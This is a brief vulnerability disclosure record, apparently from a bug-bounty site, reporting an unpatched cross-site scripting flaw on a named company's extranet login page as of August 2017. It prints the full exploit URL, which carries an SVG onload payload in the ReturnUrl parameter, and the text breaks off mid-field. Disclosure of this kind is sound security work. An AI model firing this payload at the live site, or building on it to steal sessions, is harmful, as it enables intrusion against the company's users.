extranet.celgene.com XSS vulnerability

Vulnerable URL: https://extranet.celgene.com/layouts/celgeneextranet/loginpage.aspx?ReturnUrl=%3C!%27/%22/%27/%22/--%3E%3Csvg/onload=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 22.08.2017 Vulnerability type:| XSS Vulnerability status:|...